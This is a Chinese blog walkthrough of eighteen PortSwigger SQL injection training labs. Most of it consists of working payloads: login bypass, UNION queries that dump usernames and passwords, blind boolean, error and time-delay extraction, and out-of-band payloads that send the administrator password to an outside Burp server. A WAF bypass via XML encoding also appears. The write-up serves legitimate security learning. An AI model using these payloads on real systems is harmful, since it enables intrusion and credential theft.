PortSwigger实验室——SQL注入（完整版）

原创 已于 2025-11-22 23:59:11 修改 · 526 阅读 · 10 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#sql #数据库

于 2025-11-22 17:26:40 首次发布

实验1：WHERE条款中允许检索隐藏数据的SQL注入漏洞

1：在这个表中会把category=Corporate+gifts的数据查询出来

/filter?category=Corporate+gifts'--+

2：在这个表中会把category=Corporate+gifts的数据查询出来

/filter?category=Corporate+gifts' and 1=1 --+

3：在这个表中会把所有数据查询出来

/filter?category=Corporate+gifts'or 1=1 --+

实验2：允许登录绕过的SQL注入漏洞

1：在这个表中会把用户名administrator的数据查询出来

csrf=tWbmx9RBn0GK88QoEBwORdHxZkSKTLo6&username=administrator'--&password=123--+

2：在这个表中会把用户名administrator的数据查询出来

csrf=tWbmx9RBn0GK88QoEBwORdHxZkSKTLo6&username=administrator' and 1=1--+&password=123

3：在这个表中会把所有的数据查询出来

csrf=tWbmx9RBn0GK88QoEBwORdHxZkSKTLo6&username=administrator' or 1=1--+&password=123

实验3：SQL注入攻击，查询Oracle数据库类型和版本

1：我们使用’ and 1=1--+判断是否存在注入

/filter?category=Gifts'and 1=1--+ 

2：确定查询的字段数（列数）

从1开始，一直到3报错，所以字段数是2

/filter?category=Gifts' order by 2--+

3：确定查询的字段的数据类型

下面这个 语句不会报错，所以两个字段的数据类型都是字符型

/filter?category=Gifts' union select 'abc','def' from dual--+

4：在v$version这个表中查询banner这个字段数据即可看到数据库的版本

/filter?category=Gifts' union select banner,'def' from v$version --+

实验4：SQL注入攻击，查询MySQL和Microsoft数据库类型和版本

1：我们使用’ and 1=1--+判断是否存在注入

/filter?category=Pets' and 1=1--+ 

2：确定查询的字段数（列数）

从1开始，一直到3报错，所以字段数是2

/filter?category=Pets' order by 2--+

3：确定查询的字段的数据类型

下面这个 语句不会报错，所以两个字段的数据类型都是字符型

GET /filter?category=Pets' union select 'zbc','def'--+ HTTP/2

4：查询数据库版本信息

/filter?category=Pets' union select 'zbc',version()--+

实验5：SQL 注入攻击，列出非 Oracle 数据库的内容

1：我们使用’ and 1=1--+判断是否存在注入

/filter?category=Pets' and 1=1--+

2：确定查询的字段数（列数）

从1开始，一直到3报错，所以字段数是2

GET /filter?category=Pets' order by 2--+ HTTP/2

3：确定查询的字段的数据类型

下面这个 语句不会报错，所以两个字段的数据类型都是字符型

GET /filter?category=Pets' union select 'zbc','def'--+ HTTP/2

4：获取所有的数据库

/filter?category=Pets' union select 'abc-',schema_name from information_schema.schemata--+ 

5：获取public这个数据库中的所有表

 /filter?category=Pets' union select 'abc-',table_name from information_schema.tables where table_schema='public'

6：获取public这个数据库中users_ijqbgg这个表中的所有字段

GET /filter?category=Pets' union select 'abc-',column_name from information_schema.columns where table_name='users_ijqbgg'--+ HTTP/2

7：获取public这个数据库中users_ijqbgg这个表username_xcktzc和password_xabvcj字段的值

/filter?category=Pets' union select username_xcktzc,password_xabvcj from users_ijqbgg--+

实验6：SQL 注入攻击，列出 Oracle 数据库内容

1：我们使用’ and 1=1--+判断是否存在注入

/filter?category=Gifts' and 1=1--+

2：确定查询的字段数（列数）

从1开始，一直到3报错，所以字段数是2

 /filter?category=Gifts' order by 2--+

3：确定查询的字段的数据类型

下面这个语句不会报错，所以两个字段的数据类型都是字符型

/filter?category=Gifts'  union select 'abc','def' from dual--+

4：查询所有的表

 /filter?category=Gifts' union select 'abc-',table_name from all_tables

5：查询USERS_SFTASS这个表中的所有字段

/filter?category=Gifts' union select 'abc-',column_name from all_tab_columns where table_name='USERS_SFTASS'--+

6：获取USERS_SFTASS这个表中字段的值

/filter?category=Gifts' union select USERNAME_BVIESW,PASSWORD_PXTUCE from USERS_SFTASS--+

实验7：SQL注入UNION攻击，确定查询返回的列数

1：我们使用’ and 1=1--+判断是否存在注入

/filter?category=Pets' and 1=1--+

2：确定字段数

从1开始，一直到4报错，所以字段数是3

/filter?category=Pets' order by 3--+

3：确定字段的数据类型

GET /filter?category=Pets' union select '1','2','3'--+ HTTP/2

但是答案给的是用select null,null,null一直往上加来判断的，这两种方法都可以

实验8：SQL注入UNION攻击，发现包含文本的列

1：我们使用’ and 1=1--+判断是否存在注入

/filter?category=Pets' and 1=1--+

2：确定字段数

从1开始，一直到4报错，所以字段数是3

/filter?category=Pets' order by 3--+

3：确定字段的数据类型

以下语句并没有报错，所以三个字段的数据都是字符型

/filter?category=Pets' union select '1',null,null--+就这样慢慢往上加，如果报错就不是这个数据类型

/filter?category=Pets' union select '1','2','3'--+

实验9：SQL注入UNION攻击，从其他表获取数据

1：我们使用’ and 1=1--+判断是否存在注入

GET /filter?category=Gifts' and 1=1--+ HTTP/2

2：题目中给我们说了表以及字段直接使用，也可以用上面的方法一个个测试

GET /filter?category=Gifts' union select username,password from users--+ HTTP/2

实验10：SQL 注入 UNION 攻击，在单列中检索多个值

1：我们使用’ and 1=1--+判断是否存在注入

/filter?category=Gifts' and 1=1--+

2：确定查询的字段数（列数）

从1开始，一直到3报错，所以字段数是2

 /filter?category=Gifts' order by 2--+

3：确定查询的字段的数据类型

下面这个语句不会报错，所以第一个字段是数值型，第二个字段是字符型

/filter?category=Gifts'  union select 1,'def' --+

4：题目中给我们说了表以及字段直接使用，使用||'~'||进行字符连接

GET /filter?category=Gifts' union select 1,username||'~'||password from users--+ HTTP/2

实验11：带条件响应的盲目SQL注入（布尔盲注）

1：在cookie中修改id的值，页面显示welcome back

Cookie: TrackingId=AuyYPza6AmqcQrmu' and 1=1--; 

2：在cookie中修改id的值，页面不显示welcome back

Cookie: TrackingId=AuyYPza6AmqcQrmu' and 1=2--; 

3：由此上面两步可以判断是布尔盲注，如果查询有结果显示welcome back，如果没结果就不显示welcome back

4：因为题目给了用户名和对应的表了，我们直接判断用户名对应的密码是多少

5：判断administrator用户名对应的密码的长度

一直到20不显示，所以长度是20

Cookie: TrackingId=RdtZHsxj4GRe7gjK' and (select 'a' from users where username='administrator'and length(password)>20)='a;

6：判断administrator用户名对应的密码的值

使用bp进行爆破，判断出第一个字符是0，以此内推，判断出所有的20个字符，以下两个语句都可以

Cookie: TrackingId=RdtZHsxj4GRe7gjK' and (select 'a' from users where username='administrator'and substring(password,1,1)='0')='a;

或者

Cookie: TrackingId=m0lQ8qexW1Hkktbb' and (select substring(password,1,1) from users where username='administrator')='a; 

7：用bp一个个爆破就可以了

实验12：带条件错误的盲SQL注入（报错盲注）

1：在cookie中我们输入'and 1=1--发现页面并没有变化

2：在cookie中我们输入'and 1=2--发现页面并没有变化，并且长度和and 1=1是相同的

由此上面两步可以排除联合注入和布尔盲注

3：在cookie中我们输入'，但是无论我们输入什么错误类型，他都返回的是一个错误，那么我们可以总结出只要语句正确返回正常页面，语句错误返回错误信息，证明是报错盲注

5：我们可以猜他返回的字段数

使用order by ,我这里到2就报错了，说明是1

5：我们可以猜是什么类型的数据库

下面这个语句报错

Cookie: TrackingId=PmzzALZrfwa7RPS2'union select '1'--; 

6：我们加上dual,页面返回正常

说明是Oracle数据库

Cookie: TrackingId=PmzzALZrfwa7RPS2'union select '1' from dual--; 

4：我们猜表和表的字段，页面返回正常则语句正常

说明存在users这个表和username这个字段

Cookie: TrackingId=PmzzALZrfwa7RPS2' union select username from users；

5：猜这个是否有administrator这个用户

如果存在这个用户页面返回正常，如果不存在页面报错

Cookie: TrackingId=iFXAA3rop3wz5ynH' and case when (select username from users where username='administrator'and rownum=1)='administrator' then 1 else cast('abc' as number) end = 1 --;

6：接着我们就可以爆出这个用户名的密码

我一直到20就报错了，所以长度为20

Cookie: TrackingId=iFXAA3rop3wz5ynH' and case when length((select password from users where username='administrator'and rownum=1))>19 then 1 else cast('abc' as number) end = 1 --;

7：判断administrator用户名对应的密码的值

我们使用一下语句

Cookie: TrackingId=iFXAA3rop3wz5ynH' and case when substr((select password from users where username='administrator'and rownum=1),1,1)='h' then 1 else cast('abc' as number) end = 1 --;session=y6L0O17aJp1LBIFtEFBFou1uuE2i3UDW

8：我们直接使用bp爆破

实验13：可视化基于错误的SQL注入（报错注入）

1：在cookie中我们输入'and 1=1--发现页面并没有变化

2：在cookie中我们输入'and 1=2--发现页面并没有变化，并且长度和and 1=1是相同的

由此上面两步可以排除联合注入和布尔盲注

3：在cookie中我们输入'返回了错误信息，证明是报错注入

4：我们输入类型转换的函数进行报错

Cookie: TrackingId=r28OvDnDm8zfCmoh' and cast((select username from users) as int)=1--; 

5：我们输入上面这个语句后，发现报错内容是长度被限制了，我们把cookie的值去掉试试

Cookie: TrackingId=' and cast((select username from users) as int)--; session=

6：我们输入上面这个语句后，发现报错内容and右边必须是布尔类型，我们加上=1试试

Cookie: TrackingId=' and cast((select username from users) as int)=1--;

7：我们输入上面这个语句后，发现报错内容查询出来很多行，我们加上limit 1试试

Cookie: TrackingId=' and cast((select username from users limit 1) as int)=1--;

8：成功爆出用户名administrator一个

9：接着爆出密码的第一行

Cookie: TrackingId=' and cast((select password from users limit 1) as int)=1--;

实验14：带时间延迟的盲目SQL注入

1：在cookie中我们输入'and 1=1--发现页面并没有变化

2：在cookie中我们输入'and 1=2--发现页面并没有变化，并且长度和and 1=1是相同的

3：在cookie中我们输入'页面没有任何变化，也不报错

由此上面三步可以排除联合注入，布尔盲注，报错注入以及报错盲注

4：我们就可以利用下面这个语句进行判断了

如果1=1则休眠10秒返回null=null，如果1不等于1则返回null=null

Cookie: TrackingId=2yDB5UHXDIEV0Dbu' and case when (1)=1 then pg_sleep(5) else null end is null--;

实验15：带有时间延迟和信息检索的盲SQL注入

1：在cookie中我们输入'and 1=1--发现页面并没有变化

2：在cookie中我们输入'and 1=2--发现页面并没有变化，并且长度和and 1=1是相同的

3：在cookie中我们输入'页面没有任何变化，也不报错

由此上面三步可以排除联合注入，布尔盲注，报错注入以及报错盲注

4：我们就可以利用下面这个语句进行判断了

如果1=1则休眠10秒返回null=null，如果1不等于1则返回null=null

Cookie: TrackingId=1WKMSLWjDYYAXzxW' and case when(1)=1 then pg_sleep(5) else null end is null--; session=w1KGX0rSAoQwJOogCTBBnX3oq9lCblu1

5：爆破用户和密码

下面这个语句有5秒延时所以判定有administrator这个用户

Cookie: TrackingId=1WKMSLWjDYYAXzxW' and case when(select username from users where username='administrator' limit 1)='administrator' then pg_sleep(5) else null end is null--;

6：爆破用户administrator的密码的长度

到20就秒回复了，证明长度是20

Cookie: TrackingId=1WKMSLWjDYYAXzxW' and case when length((select password from users where username='administrator' limit 1))>20 then pg_sleep(5) else null end is null--;

7：爆破用户administrator的密码的位数

使用以下语句爆破

Cookie: TrackingId=1WKMSLWjDYYAXzxW' and case when substring((select password from users where username='administrator' limit 1),1,1)='3' then pg_sleep(10) else null end is null--;session=w1KGX0rSAoQwJOogCTBBnX3oq9lCblu

8：最后使用bp进行爆破

实验16：带外交互的盲目SQL注入

1：在cookie中我们输入'and 1=1--发现页面并没有变化

2：在cookie中我们输入'and 1=2--发现页面并没有变化，并且长度和and 1=1是相同的

3：在cookie中我们输入'页面没有任何变化，也不报错

4：注入一个xml文件，sql语句解析的是时候，xml解析器解析了这个xml，使用http协议向我们的bp服务器发送请求，我们在bp就可以看到请求信息

Cookie: TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//你自己bp的地址/">+%25remote%3b]>'),'/l')+FROM+dual--;

实验17：带外数据外泄的盲目SQL注入

注入一个xml文件，sql语句解析的是时候，xml解析器解析了这个xml，使用http协议向我们的bp服务器发送请求，我们在bp就可以看到请求信息

'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.你的bp地址/">+%25remote%3b]>'),'/l')+FROM+dual--

实验18：通过XML编码进行过滤环绕的SQL注入

直接使用编码绕过waf即可，xml解析的时候会对编码进行解码，这样就可以绕过waf了

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId><@dec_entities>1 union select username||'~'||password from users</@dec_entities></storeId></stockCheck>

PortSwigger Academy | Information disclosure vulnerabilities : 信息泄漏漏洞
水榭山寺花烂漫，凤凰集外雁归来。敢与云峰争秀色，妙雨莲花九重开。
01-27 2244
11111111111111
PortSwigger web实验室（BurpSuit官方靶场）之SQL注入
m0_74824002的博客
12-13 1341
Hi~ o(￣▽￣)ブ，我是一名刚刚开始学习网安的新手。在做PortSwigger实验室（也就是BurpSuit官方做的靶场和学习中心）题目的时候发现对于新手来说还是有很多问题的。上网搜索相关文章发现可能是官方跟新了靶场的题目，导致很多文章已经“货不对板”了。思来想去最后决定自己来写一篇通关文章！如果有什么地方写的不好或者有什么错误欢迎大伙指出批评~~ps：该文章包含大量我作为初学者在解题过程中的学习过程和内容，可能会显得很臃肿。
【送书活动第2期】打靶Portswigger系列—— 一口气通关18个SQL注入靶场详细流程（文末送书）
05-22 2604
BurpSuite自带就有靶场，而BP又是全球最牛的渗透工具之一，是国外专业安全团队长期维护的项目，所以安全学院做得非常不错，里面的靶场（安全实验室Libs）包含了几乎所有常见的Web漏洞，在2024年的今天，我是十分推荐大家去使用的！！
burpLab——sql注入学习笔记
2201_75353421的博客
08-27 597
为了加深对sql注入的实战理解，这里我对burp官方的sql注入靶场做了一次全通关解析，针对备忘录清单也重点截取了上来，希望这篇sql注入学习笔记能对你有所帮助。
SQL 注入策略（一）
龙哥盟
06-23 969
在计算机系统中，最常见的数据存储方式之一是依赖于数据库。数据库可以被视为大型软件容器，能够以结构化和可访问的方式存储大量信息，从而优化数据的存储和访问操作。根据使用的方式和模型，达成这一目标的实现方式可能会有所不同。最常见的方法之一是使用关系模型，该模型基于关系代数，数据作为一系列记录被收集，描述了对象之间存在的关系。SQL 是一种基于这些概念的查询语言，并且在许多数据库系统中得到广泛应用。本节将深入讨论这些主题，首先解释数据库管理系统、关系型数据库和 SQL。
AI黑客入门第二篇：提示注入攻击全解析
分享技术点滴
11-15 805
在系列的第一部分中，我们为AI黑客奠定了基础——涵盖了它的含义、大语言模型的工作原理以及安全人员为何应该关注。提示注入的核心是操纵语言模型忽略或覆盖它本应遵循的指令。它巧妙、狡猾且出奇地有效。如果SQL注入是2000年代的入门漏洞，那么提示注入很可能就是AI时代的等价物。
【burpsuite安全练兵场-服务端2】身份认证漏洞-16个实验（全）
热门推荐
12-29 1万+
【portswigger-服务端2-身份认证】16个实验-万文详细步骤
通过 iOS 应用程序中的深层链接利用未经净化的 URL 处理和 SQL 注入
人饭子的博客
03-28 1159
对于那些只需要这个发现的关键点的人（InshaAllah，如果读者已经熟悉流程，这将节省大量时间）——请参考 TL;DR 部
如何学习Web安全，你必须知道的学习路线（超详细版）
2401_85688943的博客
07-18 764
在数字业务蓬勃发展的今天，Web安全已成为守护企业命脉的核心能力。无论您是初探安全领域的新人，还是希望精通漏洞挖掘与防护体系的工程师，本文都将为您梳理一条清晰的Web安全进阶路径，助您掌握攻防双视角的核心技能，从容应对真实战场中的安全威胁。
【burpsuite安全练兵场-客户端15】基于DOM的漏洞-7个实验（全）
baimao__Ch的博客
06-19 766
目录一、基于DOM的漏洞1、DOM2、污染流漏洞3、共同来源4、会导致基于DOM漏洞的汇点5、防止基于DOM的污染流漏洞二、反射型DOM、存储型DOM三、控制Web消息源1、简述：2、影响：3、使用Web消息作为攻击源构建攻击实验1：使用Web消息的DOM XSS实验2：使用Web消息和JavaScript URL的DOM XSS4、Origin（原产地）核查实验3：DOM XSS使用Web消息和 JSON.parse四、基于DOM的开放重定向1、简述：2、影响：实验4：基于DOM的开放重定向五、基于DOM
portswigger web实验室sql注入通关
07-12
PortSwigger Web Academy 提供了一系列关于SQL注入漏洞的实验，旨在帮助学习者理解并掌握SQL注入攻击的原理与防范措施。以下是部分实验的通关方法或解决方案： 1. **检索隐藏数据的WHERE子句中存在SQL注入漏洞** ...
portswigger靶场SQL注入实验(上)
m0_51313985的博客
09-09 3630
最近发现一个挺不错的靶场，burpsuite的官方网站在线训练平台 不多说先到第一个系列的实验去一探究竟 麻了，英文界面属实不太友好！ 所以我决定用谷歌看题，火狐去操作(主要火狐用习惯了) 第一个系列的实验为SQL注入，先来简单了解一下吧。 什么是SQL注入？ SQL 注入是一种 Web 安全漏洞，允许攻击者干扰应用程序对其数据库进行的查询。它通常允许攻击者查看他们通常无法检索的数据。这可能包括属于其他用户的数据，或应用程序本身能够访问的任何其他数据。在许多情况下，攻击者可以修改或删除这些数据，从而导
BurpSuite完成PortSwigger的盲目SQL注入实验
BrainStorm_的博客
02-19 808
BurpSuite完成PortSwigger的盲目SQL注入实验。
portswigger之SQL注入实验室笔记
m0_69349614的博客
07-06 1478
该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回，因此您可以使用 UNION 攻击从其他表中检索数据。这种攻击的第一步是确定查询返回的列数。然后，您将在后续实验中使用此技术来构建完整的攻击。要解决该实验，请通过执行SQL 注入 UNION攻击来确定查询返回的列数，该攻击会返回包含空值的附加行。'+ORDER+BY+3--'+UNION+SELECT+NULL,NULL,NULL--该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回，因
SQL server 配置管理器-SQL server 服务-远程过程调试失败 [0x800706be]-(Express LocalDB卸载掉)完美解决！
骚团长的博客
12-14 151
下图： 打开SQL server 配置管理器 下图： SQL server 服务正常现象 下图： SQL server 配置管理器-SQL server 服务-远程过程调试失败 [0x800706be] 下图： 原来我刚刚新安装了VS 2015(Visual Studio 2015) 下图： Visual Studio 安装日期与SQL Server 安装日期（我3年前就安装了SQL，以前一直用的好好的，最近刚刚改了密码与新装VS） 下图： 把“罪魁祸...
SQLAlchemy 核心 API 深度解析：超越 ORM 的数据库工具包
不懂先生的博客
12-13 411
SQLAlchemy Core 提供了强大的表结构定义能力，支持复杂的约束、索引和数据类型。# 示例：高级表结构定义# 枚举类型定义# 约束定义# 索引定义# 关联表示例SQLAlchemy 允许深度定制，包括创建自定义数据类型和扩展 SQL 编译器。# 示例：创建自定义 JSON 查询过滤器"""自定义 JSON 路径查询表达式"""operator=None # 自定义操作符"""为 PostgreSQL 编译 JSON 路径查询"""# 使用自定义 JSON 路径查询# )
upload、very_easy_sql、i-got-id-200
2501_91671229的博客
12-15 835
在Perl的CGI模块中，param()是核心方法之一，主要用于获取HTTP请求中的参数数据，包括表单提交的普通参数、URL查询参数，以及文件上传的文件句柄。基本作用param()方法的核心是解析CGI请求中的参数，支持两种常见的HTTP请求方式：GET请求：解析URL中?后的查询字符串（如http://example.com/cgi-bin/script.pl?
MyBatis基础入门《十二》批量操作优化：高效插入/更新万级数据，告别慢 SQL！
最新发布
小二丶的博客
12-15 601
本文详细介绍了MyBatis批量操作的三种实现方案及性能对比。针对大数据量场景，推荐使用SqlSession的BatchExecutor模式，通过JDBC的addBatch()实现高效批量写入；对于中小批量数据，可使用XML中的foreach标签构建单条INSERT语句；同时分析了Spring事务批量的局限性。文章还提供了生产环境最佳实践，包括分批处理、数据库调优等建议，并通过实测数据展示了不同方案的性能差异。最后解答了常见问题并给出场景化推荐方案，帮助开发者应对海量数据写入挑战。
MySQL 及 SQL 注入
csbysj2020
12-11 495
MySQL 是一款开源的关系型数据库管理系统，由瑞典 MySQL AB 公司开发。它遵循 GNU 通用公共许可证（GPL），可以在商业和非商业环境下使用。MySQL 支持多种编程语言，如 C、C++、Java、PHP、Python 等，并且拥有丰富的扩展功能和优秀的性能。SQL 注入是一种常见的网络安全漏洞，它允许攻击者通过在 SQL 语句中插入恶意代码，从而获取数据库的控制权限。攻击者可以利用 SQL 注入攻击，窃取敏感数据、修改数据、删除数据、执行任意命令等。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值